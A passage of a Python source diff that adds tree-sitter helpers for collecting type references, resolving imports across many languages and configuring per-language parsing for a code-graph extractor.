"type_identifier"): + text = _read_text(sub, source) + if text: + out.append((text, "generic_arg" if generic else "type")) + break + break + for c in node.children: + if c.type == "type_arguments": + for arg in c.children: + if arg.type == "type_projection": + for sub in arg.children: + if sub.is_named: + _kotlin_collect_type_refs(sub, source, True, out) + elif arg.is_named: + _kotlin_collect_type_refs(arg, source, True, out) + return + if t in ("identifier", "type_identifier"): + text = _read_text(node, source) + if text: + out.append((text, "generic_arg" if generic else "type")) + return + if t in ("nullable_type", "parenthesized_type", "type_reference"): + for c in node.children: + if c.is_named: + _kotlin_collect_type_refs(c, source, generic, out) + return + if node.is_named: + for c in node.children: + if c.is_named: + _kotlin_collect_type_refs(c, source, generic, out) + + +def _kotlin_property_type_node(property_node): + """Find the user_type node within a Kotlin property_declaration.""" + for c in property_node.children: + if c.type == "variable_declaration": + for sub in c.children: + if sub.type in ("user_type", "nullable_type", "type_reference"): + return sub + if c.type in ("user_type", "nullable_type", "type_reference"): + return c + return None + + +def _kotlin_function_return_type_node(func_node): + """Find the return-type node of a Kotlin function_declaration (the type after `: ` post-params).""" + saw_params = False + saw_colon = False + for c in func_node.children: + if c.type == "function_value_parameters": + saw_params = True + continue + if saw_params and c.type == ":": + saw_colon = True + continue + if saw_colon: + if c.is_named: + return c + return None + + +def _swift_declaration_keyword(node) -> str | None: + """Return the leading kind token for a Swift class_declaration: class/struct/enum/extension/actor.""" + for c in node.children: + if not c.is_named and c.type in ("class", "struct", "enum", "extension", "actor"): + return c.type + return None + + +def _swift_pre_scan(root_node, source: bytes) -> tuple[set[str], set[str]]: + """Pre-scan a Swift compilation unit and return (protocol_names, class_like_names).""" + protocols: set[str] = set() + classes: set[str] = set() + stack = [root_node] + while stack: + n = stack.pop() + if n.type == "protocol_declaration": + name_node = n.child_by_field_name("name") + if name_node is None: + for c in n.children: + if c.type == "type_identifier": + name_node = c + break + if name_node is not None: + text = _read_text(name_node, source) + if text: + protocols.add(text) + elif n.type == "class_declaration": + kw = _swift_declaration_keyword(n) + if kw in ("class", "struct", "enum", "actor"): + name_node = n.child_by_field_name("name") + if name_node is not None: + text = _read_text(name_node, source) + if text: + classes.add(text) + stack.extend(n.children) + return protocols, classes + + +def _swift_classify_base(name: str, kind: str | None, is_first: bool, + protocols: set[str], classes: set[str]) -> str: + """Classify a Swift inheritance_specifier entry as `inherits` or `implements`.""" + if name in protocols: + return "implements" + if name in classes: + return "inherits" + # struct/enum/extension/actor cannot inherit a class — all conformances are protocols. + if kind in ("struct", "enum", "extension", "actor"): + return "implements" + # `class`: first entry is conventionally the base class; subsequent are protocols. + return "inherits" if is_first else "implements" + + +def _swift_user_type_name(user_type_node, source: bytes) -> str | None: + """Return the head type_identifier text from a Swift user_type node (without generics).""" + if user_type_node is None: + return None + for c in user_type_node.children: + if c.type == "type_identifier": + text = _read_text(c, source) + return text or None + return None + + +def _swift_collect_type_refs(node, source: bytes, generic: bool, out: list[tuple[str, str]]) -> None: + """Walk a Swift type expression; append (name, role) tuples (role 'type' or 'generic_arg').""" + if node is None: + return + t = node.type + if t == "type_annotation": + for c in node.children: + if c.is_named: + _swift_collect_type_refs(c, source, generic, out) + return + if t == "user_type": + for c in node.children: + if c.type == "type_identifier": + text = _read_text(c, source) + if text: + out.append((text, "generic_arg" if generic else "type")) + break + for c in node.children: + if c.type == "type_arguments": + for arg in c.children: + if arg.is_named: + _swift_collect_type_refs(arg, source, True, out) + return + if t == "type_identifier": + text = _read_text(node, source) + if text: + out.append((text, "generic_arg" if generic else "type")) + return + if t in ("optional_type", "implicitly_unwrapped_optional_type", "array_type", + "dictionary_type", "tuple_type"): + for c in node.children: + if c.is_named: + _swift_collect_type_refs(c, source, generic, out) + return + if node.is_named: + for c in node.children: + if c.is_named: + _swift_collect_type_refs(c, source, generic, out) + + +def _swift_property_type_node(property_node): + """Return the type_annotation child of a Swift property_declaration, if any.""" + for c in property_node.children: + if c.type == "type_annotation": + return c + return None + + +# ── C / C++ type-ref helpers ───────────────────────────────────────────────── + +_C_PRIMITIVE_TYPE_NODES = frozenset({ + "primitive_type", "sized_type_specifier", "auto", "placeholder_type_specifier", +}) + + +def _c_collect_type_refs(node, source: bytes, generic: bool, out: list[tuple[str, str]]) -> None: + """Walk a C type expression; append (name, role) tuples for user-defined types. + Skips primitive types and qualifiers; recognises type_identifier.""" + if node is None or node.type in _C_PRIMITIVE_TYPE_NODES: + return + t = node.type + if t == "type_identifier": + text = _read_text(node, source) + if text: + out.append((text, "generic_arg" if generic else "type")) + return + if t in ("pointer_declarator", "reference_declarator", "array_declarator", + "type_qualifier", "type_descriptor", "abstract_pointer_declarator", + "abstract_reference_declarator", "abstract_array_declarator"): + for c in node.children: + if c.is_named: + _c_collect_type_refs(c, source, generic, out) + + +def _cpp_collect_type_refs(node, source: bytes, generic: bool, out: list[tuple[str, str]]) -> None: + """Walk a C++ type expression; append (name, role) tuples. + Resolves qualified_identifier tails (std::string → string) and template_type + base + arguments (std::vector → vector + HttpClient as generic_arg).""" + if node is None or node.type in _C_PRIMITIVE_TYPE_NODES: + return + t = node.type + if t == "type_identifier": + text = _read_text(node, source) + if text: + out.append((text, "generic_arg" if generic else "type")) + return + if t == "qualified_identifier": + name_node = node.child_by_field_name("name") + if name_node is not None: + _cpp_collect_type_refs(name_node, source, generic, out) + return + if t == "template_type": + name_node = node.child_by_field_name("name") + if name_node is not None: + text = _read_text(name_node, source) + if text: + out.append((text, "generic_arg" if generic else "type")) + args_node = node.child_by_field_name("arguments") + if args_node is not None: + for c in args_node.children: + if c.is_named: + _cpp_collect_type_refs(c, source, True, out) + return + if t in ("type_descriptor", "pointer_declarator", "reference_declarator", + "array_declarator", "type_qualifier", "abstract_pointer_declarator", + "abstract_reference_declarator", "abstract_array_declarator"): + for c in node.children: + if c.is_named: + _cpp_collect_type_refs(c, source, generic, out) + + +# ── Scala type-ref helpers ─────────────────────────────────────────────────── + +def _scala_collect_type_refs(node, source: bytes, generic: bool, out: list[tuple[str, str]]) -> None: + """Walk a Scala type expression; append (name, role) tuples. + Handles type_identifier, generic_type (List[T]), and common type wrappers.""" + if node is None: + return + t = node.type + if t == "type_identifier": + text = _read_text(node, source) + if text: + out.append((text, "generic_arg" if generic else "type")) + return + if t == "generic_type": + base = node.child_by_field_name("type") + if base is None: + for c in node.children: + if c.type == "type_identifier": + base = c + break + if base is not None and base.type == "type_identifier": + text = _read_text(base, source) + if text: + out.append((text, "generic_arg" if generic else "type")) + for c in node.children: + if c.type == "type_arguments": + for arg in c.children: + if arg.is_named: + _scala_collect_type_refs(arg, source, True, out) + return + if t in ("compound_type", "infix_type", "function_type", "tuple_type", + "annotated_type", "projected_type"): + for c in node.children: + if c.is_named: + _scala_collect_type_refs(c, source, generic, out) + + +def _python_collect_param_refs(params_node, source: bytes) -> list[tuple[str, str]]: + """Collect type refs from each typed parameter under a `parameters` node.""" + out: list[tuple[str, str]] = [] + if params_node is None: + return out + for child in params_node.children: + if child.type in ("typed_parameter", "typed_default_parameter"): + type_node = child.child_by_field_name("type") + _python_collect_type_refs(type_node, source, False, out) + return out + + +def _resolve_name(node, source: bytes, config: LanguageConfig) -> str | None: + """Get the name from a node using config.name_field, falling back to child types.""" + if config.resolve_function_name_fn is not None: + # For C/C++ where the name is inside a declarator + return None # caller handles this separately + n = node.child_by_field_name(config.name_field) + if n: + return _read_text(n, source) + for child in node.children: + if child.type in config.name_fallback_child_types: + return _read_text(child, source) + return None + + +def _find_body(node, config: LanguageConfig): + """Find the body node using config.body_field, falling back to child types.""" + b = node.child_by_field_name(config.body_field) + if b: + return b + for child in node.children: + if child.type in config.body_fallback_child_types: + return child + return None + + +# ── Import handlers ─────────────────────────────────────────────────────────── + +def _import_python(node, source: bytes, file_nid: str, stem: str, edges: list, str_path: str) -> None: + t = node.type + if t == "import_statement": + for child in node.children: + if child.type in ("dotted_name", "aliased_import"): + raw = _read_text(child, source) + module_name = raw.split(" as ")[0].strip().lstrip(".") + tgt_nid = _make_id(module_name) + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + "weight": 1.0, + }) + elif t == "import_from_statement": + module_node = node.child_by_field_name("module_name") + if module_node: + raw = _read_text(module_node, source) + if raw.startswith("."): + # Relative import - resolve to full path so IDs match file node IDs + dots = len(raw) - len(raw.lstrip(".")) + module_name = raw.lstrip(".") + base = Path(str_path).parent + for _ in range(dots - 1): + base = base.parent + rel = (module_name.replace(".", "/") + ".py") if module_name else "__init__.py" + tgt_nid = _make_id(str(base / rel)) + else: + tgt_nid = _make_id(raw) + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports_from", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + "weight": 1.0, + }) + + +def _resolve_js_import_target(raw: str, str_path: str) -> "tuple[str, Path | None] | None": + """Resolve a JS/TS import path string to (target_nid, resolved_path). + + Handles relative paths, tsconfig path aliases, workspace packages, and + bare/scoped imports. + Returns None if `raw` is empty. + """ + if not raw: + return None + resolved_path = _resolve_js_module_path(raw, Path(str_path).parent) + if resolved_path is not None: + return _make_id(str(resolved_path)), resolved_path + module_name = raw.split("/")[-1] + if not module_name: + return None + return _make_id(module_name), None + + +def _import_js(node, source: bytes, file_nid: str, stem: str, edges: list, str_path: str) -> None: + is_reexport = node.type == "export_statement" + # Only handle export_statement if it has a `from` clause (re-export). + # Pure exports like `export const x = 1` or `export { localVar }` have no source module. + if is_reexport: + has_from = any(child.type == "from" or (_read_text(child, source) == "from") for child in node.children if child.type in ("from", "identifier")) + if not has_from: + # Check for string child (source path) as a more reliable indicator + has_from = any(child.type == "string" for child in node.children) + if not has_from: + return + + resolved_path: "Path | None" = None + for child in node.children: + if child.type == "string": + raw = _read_text(child, source).strip("'\"` ") + resolved = _resolve_js_import_target(raw, str_path) + if resolved is None: + break + tgt_nid, resolved_path = resolved + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports_from", + "context": "re-export" if is_reexport else "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + "weight": 1.0, + }) + break + + # Emit symbol-level edges for named imports/re-exports from local/aliased files. + # e.g. `import { Foo, type Bar } from './bar'` → file → Foo, file → Bar (EXTRACTED) + # e.g. `export { Foo } from './bar'` → file → Foo (re_exports edge) + # Uses the same _make_id(target_stem, name) key that _extract_generic emits when + # defining the symbol, so these edges wire importers directly to existing symbol nodes. + if resolved_path is not None: + target_stem = _file_stem(resolved_path) + line = node.start_point[0] + 1 + + if is_reexport: + # Handle: export { foo, bar } from './module' + # export { default as baz } from './module' + for child in node.children: + if child.type == "export_clause": + for spec in child.children: + if spec.type == "export_specifier": + # The exported name is the local name from the source module + name_node = spec.child_by_field_name("name") + if name_node: + sym = _read_text(name_node, source) + if sym == "default": + continue # skip default re-exports for ID matching + edges.append({ + "source": file_nid, + "target": _make_id(target_stem, sym), + "relation": "re_exports", + "context": "re-export", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{line}", + "weight": 1.0, + }) + else: + # Handle: import { Foo, type Bar } from './bar' + for child in node.children: + if child.type == "import_clause": + for sub in child.children: + if sub.type == "named_imports": + for spec in sub.children: + if spec.type == "import_specifier": + name_node = spec.child_by_field_name("name") + if name_node: + sym = _read_text(name_node, source) + edges.append({ + "source": file_nid, + "target": _make_id(target_stem, sym), + "relation": "imports", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{line}", + "weight": 1.0, + }) + + +def _dynamic_import_js(node, source: bytes, caller_nid: str, str_path: str, edges: list, + seen_dyn_pairs: set) -> bool: + """Detect dynamic import() calls in JS/TS and emit imports_from edges. + + Handles patterns like: + await import('./foo.js') + import('./foo.js').then(...) + const m = await import(`./foo`) + + Returns True if the node was a dynamic import (caller should skip normal call handling). + """ + # Dynamic import is a call_expression whose function child is the keyword "import". + # tree-sitter-typescript parses `import('...')` as call_expression with first child + # being an "import" token (type="import"). + func_node = node.child_by_field_name("function") + if func_node is None: + # Fallback: check first child directly (some TS versions) + if node.children and _read_text(node.children[0], source) == "import": + func_node = node.children[0] + else: + return False + if _read_text(func_node, source) != "import": + return False + + # Extract the module path from the arguments + args = node.child_by_field_name("arguments") + if args is None: + return True # It's an import() but no args — skip + for arg in args.children: + if arg.type == "template_string": + # Skip dynamic template literals — path can't be statically resolved + if any(c.type == "template_substitution" for c in arg.children): + break + raw = _read_text(arg, source).strip("`") + elif arg.type == "string": + raw = _read_text(arg, source).strip("'\" ") + else: + continue + if not raw: + break + # Resolve path using the same logic as static imports. + resolved = _resolve_js_import_target(raw, str_path) + if resolved is None: + break + tgt_nid, _ = resolved + pair = (caller_nid, tgt_nid) + if pair not in seen_dyn_pairs: + seen_dyn_pairs.add(pair) + edges.append({ + "source": caller_nid, + "target": tgt_nid, + "relation": "imports_from", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + "weight": 1.0, + }) + break + return True + + +def _import_java(node, source: bytes, file_nid: str, stem: str, edges: list, str_path: str) -> None: + def _walk_scoped(n) -> str: + parts: list[str] = [] + cur = n + while cur: + if cur.type == "scoped_identifier": + name_node = cur.child_by_field_name("name") + if name_node: + parts.append(_read_text(name_node, source)) + cur = cur.child_by_field_name("scope") + elif cur.type == "identifier": + parts.append(_read_text(cur, source)) + break + else: + break + parts.reverse() + return ".".join(parts) + + for child in node.children: + if child.type in ("scoped_identifier", "identifier"): + path_str = _walk_scoped(child) + module_name = path_str.split(".")[-1].strip("*").strip(".") or ( + path_str.split(".")[-2] if len(path_str.split(".")) > 1 else path_str + ) + if module_name: + tgt_nid = _make_id(module_name) + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + "weight": 1.0, + }) + break + + +def _resolve_c_include_path(raw: str, str_path: str) -> "Path | None": + """Resolve a quoted #include path to a real file on disk. + + Searches relative to the including file's directory. Returns None for + system headers (<...>) or paths that don't exist on disk. + """ + if not raw: + return None + candidate = (Path(str_path).parent / raw).resolve() + if candidate.is_file(): + return candidate + return None + + +def _import_c(node, source: bytes, file_nid: str, stem: str, edges: list, str_path: str) -> None: + for child in node.children: + if child.type in ("string_literal", "system_lib_string", "string"): + raw = _read_text(child, source).strip('"<> ') + # Quoted includes: try to resolve to a real file so the target ID + # matches the node ID _extract_generic creates for that file. + if child.type != "system_lib_string": + resolved = _resolve_c_include_path(raw, str_path) + if resolved is not None: + tgt_nid = _make_id(str(resolved)) + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + "weight": 1.0, + }) + break + module_name = raw.split("/")[-1].split(".")[0] + if module_name: + tgt_nid = _make_id(module_name) + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + "weight": 1.0, + }) + break + + +def _import_csharp(node, source: bytes, file_nid: str, stem: str, edges: list, str_path: str) -> None: + for child in node.children: + if child.type in ("qualified_name", "identifier", "name_equals"): + raw = _read_text(child, source) + module_name = raw.split(".")[-1].strip() + if module_name: + tgt_nid = _make_id(module_name) + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + "weight": 1.0, + }) + break + + +def _import_kotlin(node, source: bytes, file_nid: str, stem: str, edges: list, str_path: str) -> None: + path_node = node.child_by_field_name("path") + if path_node: + raw = _read_text(path_node, source) + module_name = raw.split(".")[-1].strip() + if module_name: + tgt_nid = _make_id(module_name) + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + "weight": 1.0, + }) + return + # Fallback: find identifier child + for child in node.children: + if child.type == "identifier": + raw = _read_text(child, source) + tgt_nid = _make_id(raw) + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + "weight": 1.0, + }) + break + + +def _import_scala(node, source: bytes, file_nid: str, stem: str, edges: list, str_path: str) -> None: + for child in node.children: + if child.type in ("stable_id", "identifier"): + raw = _read_text(child, source) + module_name = raw.split(".")[-1].strip("{} ") + if module_name and module_name != "_": + tgt_nid = _make_id(module_name) + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + "weight": 1.0, + }) + break + + +def _import_php(node, source: bytes, file_nid: str, stem: str, edges: list, str_path: str) -> None: + for child in node.children: + if child.type in ("qualified_name", "name", "identifier"): + raw = _read_text(child, source) + module_name = raw.split("\\")[-1].strip() + if module_name: + tgt_nid = _make_id(module_name) + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{node.start_point[0] + 1}", + "weight": 1.0, + }) + break + + +# ── C/C++ function name helpers ─────────────────────────────────────────────── + +def _get_c_func_name(node, source: bytes) -> str | None: + """Recursively unwrap declarator to find the innermost identifier (C).""" + if node.type == "identifier": + return _read_text(node, source) + decl = node.child_by_field_name("declarator") + if decl: + return _get_c_func_name(decl, source) + for child in node.children: + if child.type == "identifier": + return _read_text(child, source) + return None + + +def _get_cpp_func_name(node, source: bytes) -> str | None: + """Recursively unwrap declarator to find the innermost identifier (C++).""" + if node.type == "identifier": + return _read_text(node, source) + if node.type in ("field_identifier", "destructor_name", "operator_name"): + return _read_text(node, source) + if node.type == "qualified_identifier": + name_node = node.child_by_field_name("name") + if name_node: + return _read_text(name_node, source) + decl = node.child_by_field_name("declarator") + if decl: + return _get_cpp_func_name(decl, source) + for child in node.children: + if child.type == "identifier": + return _read_text(child, source) + return None + + +# ── JS/TS extra walk for arrow functions ────────────────────────────────────── + +def _find_require_call(value_node): + """Return the call_expression node if `value_node` is a `require(...)` call + or `require(...).x` member access. Otherwise None.""" + if value_node is None: + return None + if value_node.type == "call_expression": + fn = value_node.child_by_field_name("function") + if fn is not None and fn.type == "identifier": + return value_node + if value_node.type == "member_expression": + obj = value_node.child_by_field_name("object") + return _find_require_call(obj) + return None + + +def _require_imports_js(node, source: bytes, file_nid: str, stem: str, edges: list, str_path: str) -> bool: + """Detect CommonJS require imports inside lexical_declaration / variable_declaration. + + Handles three patterns: + const { foo, bar } = require('./mod') → file → mod (imports_from), file → foo, file → bar + const mod = require('./mod') → file → mod (imports_from) + const x = require('./mod').y → file → mod (imports_from), file → y + + Returns True if any require import was found. + """ + if node.type not in ("lexical_declaration", "variable_declaration"): + return False + found = False + for child in node.children: + if child.type != "variable_declarator": + continue + value = child.child_by_field_name("value") + call = _find_require_call(value) + if call is None: + continue + fn = call.child_by_field_name("function") + if fn is None or _read_text(fn, source) != "require": + continue + args = call.child_by_field_name("arguments") + if args is None: + continue + raw = None + for arg in args.children: + if arg.type == "string": + raw = _read_text(arg, source).strip("'\"` ") + break + if not raw: + continue + resolved = _resolve_js_import_target(raw, str_path) + if resolved is None: + continue + tgt_nid, resolved_path = resolved + line = node.start_point[0] + 1 + edges.append({ + "source": file_nid, + "target": tgt_nid, + "relation": "imports_from", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{line}", + "weight": 1.0, + }) + found = True + + # Symbol-level edges for destructured / accessor binders. + target_stem = _file_stem(resolved_path) if resolved_path is not None else None + name_node = child.child_by_field_name("name") + sym_names: list[str] = [] + if name_node is not None and name_node.type == "object_pattern": + # `const { a, b: alias } = require('./m')` — emit edges for each property key + for prop in name_node.children: + if prop.type == "shorthand_property_identifier_pattern": + sym_names.append(_read_text(prop, source)) + elif prop.type == "pair_pattern": + key = prop.child_by_field_name("key") + if key is not None: + sym_names.append(_read_text(key, source)) + elif value is not None and value.type == "member_expression": + # `const x = require('./m').y` — symbol is the property accessed + prop = value.child_by_field_name("property") + if prop is not None: + sym_names.append(_read_text(prop, source)) + if target_stem is not None: + for sym in sym_names: + edges.append({ + "source": file_nid, + "target": _make_id(target_stem, sym), + "relation": "imports", + "context": "import", + "confidence": "EXTRACTED", + "source_file": str_path, + "source_location": f"L{line}", + "weight": 1.0, + }) + return found + + +def _js_extra_walk(node, source: bytes, file_nid: str, stem: str, str_path: str, + nodes: list, edges: list, seen_ids: set, function_bodies: list, + parent_class_nid: str | None, add_node_fn, add_edge_fn) -> bool: + """Handle lexical_declaration (arrow functions, CJS requires, module-level const literals) for JS/TS. Returns True if handled.""" + if node.type in ("lexical_declaration", "variable_declaration"): + # CJS require imports — emit edges, do not block other lexical_declaration handling + require_found = _require_imports_js(node, source, file_nid, stem, edges, str_path) + + # Scope guard (#1077): only emit nodes for module-level declarations. + # Without this, `const x = ...` inside an arrow callback (e.g. inside + # `describe(() => { const set = new Set(...) })`) emits a bare-named + # node, and the same name collides across unrelated files producing + # phantom god-nodes. Bodies of arrow functions are walked separately + # via function_bodies, so we never need to emit nodes for locals here. + parent = node.parent + is_module_level = parent is not None and ( + parent.type == "program" + or (parent.type == "export_statement" + and parent.parent is not None + and parent.parent.type == "program") + ) + + # Arrow function declarations and module-level const literals (lexical_declaration only) + arrow_found = False + const_found = False + if node.type == "lexical_declaration" and is_module_level: + for child in node.children: + if child.type == "variable_declarator": + value = child.child_by_field_name("value") + if value and value.type == "arrow_function": + name_node = child.child_by_field_name("name") + if name_node: + func_name = _read_text(name_node, source) + line = child.start_point[0] + 1 + func_nid = _make_id(stem, func_name) + add_node_fn(func_nid, f"{func_name}()", line) + add_edge_fn(file_nid, func_nid, "contains", line) + body = value.child_by_field_name("body") + if body: + function_bodies.append((func_nid, body)) + arrow_found = True + elif value and value.type in ( + "object", "array", "as_expression", "call_expression", "new_expression", + ): + # Module-level const with literal/object/array/factory value + name_node = child.child_by_field_name("name") + if name_node: + const_name = _read_text(name_node, source) + line = child.start_point[0] + 1 + const_nid = _make_id(stem, const_name) + add_node_fn(const_nid, const_name, line) + add_edge_fn(file_nid, const_nid, "contains", line) + const_found = True + if arrow_found: + return True + if const_found: + return True + if require_found: + return True + return False + + +# ── C# extra walk for namespace declarations ────────────────────────────────── + +def _csharp_extra_walk(node, source: bytes, file_nid: str, stem: str, str_path: str, + nodes: list, edges: list, seen_ids: set, function_bodies: list, + parent_class_nid: str | None, add_node_fn, add_edge_fn, + walk_fn) -> bool: + """Handle namespace_declaration for C#. Returns True if handled.""" + if node.type == "namespace_declaration": + name_node = node.child_by_field_name("name") + if name_node: + ns_name = _read_text(name_node, source) + ns_nid = _make_id(stem, ns_name) + line = node.start_point[0] + 1 + add_node_fn(ns_nid, ns_name, line) + add_edge_fn(file_nid, ns_nid, "contains", line) + body = node.child_by_field_name("body") + if body: + for child in body.children: + walk_fn(child, parent_class_nid) + return True + return False + + +# ── Swift extra walk for enum cases ────────────────────────────────────────── + +def _swift_extra_walk(node, source: bytes, file_nid: str, stem: str, str_path: str, + nodes: list, edges: list, seen_ids: set, function_bodies: list, + parent_class_nid: str | None, add_node_fn, add_edge_fn) -> bool: + """Handle enum_entry for Swift. Returns True if handled.""" + if node.type == "enum_entry" and parent_class_nid: + for child in node.children: + if child.type == "simple_identifier": + case_name = _read_text(child, source) + case_nid = _make_id(parent_class_nid, case_name) + line = node.start_point[0] + 1 + add_node_fn(case_nid, case_name, line) + add_edge_fn(parent_class_nid, case_nid, "case_of", line) + return True + return False + + +# ── Language configs ────────────────────────────────────────────────────────── + +_PYTHON_CONFIG = LanguageConfig( + ts_module="tree_sitter_python", + class_types=frozenset({"class_definition"}), + function_types=frozenset({"function_definition"}), + import_types=frozenset({"import_statement", "import_from_statement"}), + call_types=frozenset({"call"}), + call_function_field="function", + call_accessor_node_types=frozenset({"attribute"}), + call_accessor_field="attribute", + function_boundary_types=frozenset({"function_definition"}), + import_handler=_import_python, +) + +_JS_CONFIG = LanguageConfig( + ts_module="tree_sitter_javascript", + class_types=frozenset({"class_declaration"}), + function_types=frozenset({"function_declaration", "method_definition"}), + import_types=frozenset({"import_statement", "export_statement"}), + call_types=frozenset({"call_expression", "new_expression"}), + call_function_field="function", + call_accessor_node_types=frozenset({"member_expression"}), + call_accessor_field="property", + function_boundary_types=frozenset({"function_declaration", "arrow_function", "method_definition"}), + import_handler=_import_js, +) + +_TS_CONFIG = LanguageConfig( + ts_module="tree_sitter_typescript", + ts_language_fn="language_typescript", + class_types=frozenset({ + "class_declaration", + "abstract_class_declaration", # TS abstract class + "interface_declaration", # parity with Java/C# + "enum_declaration", # named enums + "type_alias_declaration", # named type aliases + }), + function_types=frozenset({"function_declaration", "method_definition"}), + import_types=frozenset({"import_statement", "export_statement"}), + call_types=frozenset({"call_expression", "new_expression"}), + call_function_field="function", + call_accessor_node_types=frozenset({"member_expression"}), + call_accessor_field="property", + function_boundary_types=frozenset({"function_declaration", "arrow_function", "method_definition"}), + import_handler=_import_js, +) + +# .tsx files must use the TSX grammar (JSX-aware), not the plain TypeScript grammar. +# tree-sitter-typescript ships two languages: language_typescript (for .ts) and +# language_tsx (for .tsx). Parsing .tsx with language_typescript silently fails on +# JSX expressions, dropping any call_expression nested inside JSX (e.g. {fmtDate(x)}). +_TSX_CONFIG = LanguageConfig( + ts_module="tree_sitter_typescript", + ts_language_fn="language_tsx", + class_types=_TS_CONFIG.class_types, + function_types=_TS_CONFIG.function_types, + import_types=_TS_CONFIG.import_types, + call_types=_TS_CONFIG.call_types, + call_function_field=_TS_CONFIG.call_function_field, + call_accessor_node_types=_TS_CONFIG.call_accessor_node_types, + call_accessor_field=_TS_CONFIG.call_accessor_field, + function_boundary_types=_TS_CONFIG.function_boundary_types, + import_handler=_TS_CONFIG.import_handler, +) + +_JAVA_CONFIG = LanguageConfig( + ts_module="tree_sitter_java", + class_types=frozenset({"class_declaration", "interface_declaration"}), + function_types=frozenset({"method_declaration", "constructor_declaration"}), + import_types=frozenset({"import_declaration"}), + call_types=frozenset({"method_invocation"}), + call_function_field="name", + call_accessor_node_types=frozenset(), + function_boundary_types=frozenset({"method_declaration", "constructor_declaration"}), + import_handler=_import_java, +) + +_GROOVY_CONFIG = LanguageConfig( + ts_module="tree_sitter_groovy", + class_types=frozenset({"class_declaration", "interface_declaration"}), + function_types=frozenset({"method_declaration", "constructor_declaration"}), + import_types=frozenset({"import_declaration"}), + call_types=frozenset({"method_invocation"}), + call_function_field="name", + call_accessor_node_types=frozenset(), + function_boundary_types=frozenset({"method_declaration", "constructor_declaration"}), + import_handler=_import_java, +) + +_C_CONFIG = LanguageConfig( + ts_module="tree_sitter_c", + class_types=frozenset(), + function_types=frozenset({"function_definition"}), + import_types=frozenset({"preproc_include"}), + call_types=frozenset({"call_expression"}), + call_function_field="function", + call_accessor_node_types=frozenset({"field_expression"}), + call_accessor_field="field", + function_boundary_types=frozenset({"function_definition"}), + import_handler=_import_c, + resolve_function_name_fn=_get_c_func_name, +) + +_CPP_CONFIG = LanguageConfig( + ts_module="tree_sitter_cpp", + class_types=frozenset({"class_specifier", "struct_specifier"}), + function_types=frozenset({"function_definition"}), + import_types=frozenset({"preproc_include"}), + call_types=frozenset({"call_expression"}), + call_function_field="function", + call_accessor_node_types=frozenset({"field_expression", "qualified_identifier"}), + call_accessor_field="field", + function_boundary_types=frozenset({"function_definition"}), + import_handler=_import_c, + resolve_function_name_fn=_get_cpp_func_name, +) + +_RUBY_CONFIG = LanguageConfig( + ts_module="tree_sitter_ruby", + class_types=frozenset({"class"}), + function_types=frozenset({"method", "singleton_method"}), + import_types=frozenset(), + call_types=frozenset({"call"}), + call_function_field="method", + call_accessor_node_types=frozenset(), + name_fallback_child_types=("constant", "scope_resolution", "identifier"), + body_fallback_child_types=("body_statement",), + function_boundary_types=frozenset({"method", "singleton_method"}), +) + +_CSHARP_CONFIG = LanguageConfig( + ts_module="tree_sitter_c_sharp", + class_types=frozenset({"class_declaration", "interface_declaration"}), + function_types=frozenset({"method_declaration"}), + import_types=frozenset({"using_directive"}), + call_types=frozenset({"invocation_expression"}), + call_function_field="function", + call_accessor_node_types=frozenset({"member_access_expression"}), + call_accessor_field="name", + body_fallback_child_types=("declaration_list",), + function_boundary_types=frozenset({"method_declaration"}), + import_handler=_import_csharp, +) + +_KOTLIN_CONFIG = LanguageConfig( + ts_module="tree_sitter_kotlin", + class_types=frozenset({"class_declaration", "object_declaration"}), + function_types=frozenset({"function_declaration"}), + import_types=frozenset({"import_header"}), + call_types=frozenset({"call_expression"}), + call_function_field="", + call_accessor_node_types=frozenset({"navigation_expression"}), + call_accessor_field="", + # Different tree-sitter-kotlin grammar versions name plain identifier + # nodes differently: PyPI's `tree_sitter_kotlin` uses `identifier`, + # older forks use `simple_identifier`. Accept both so the extractor + # works across grammar generations. + name_fallback_child_types=("simple_identifier", "identifier"), + body_fallback_child_types=("function_body", "class_body"), + function_boundary_types=frozenset({"function_declaration"}), + import_handler=_import_kotlin, +) + +_SCALA_CONFIG = LanguageConfig( + ts_module="tree_sitter_scala", + class_types=frozenset({"class_definition", "object_definition"}), + function_types=frozenset({"function_definition"}), + import_types=frozenset({"import_declaration"}), + call_types=frozenset({"call_expression"}), + call_function_field="", + call_accessor_node_types=frozenset({"field_expression"}), + call_accessor_field="field", + name_fallback_child_types=("identifier",), + 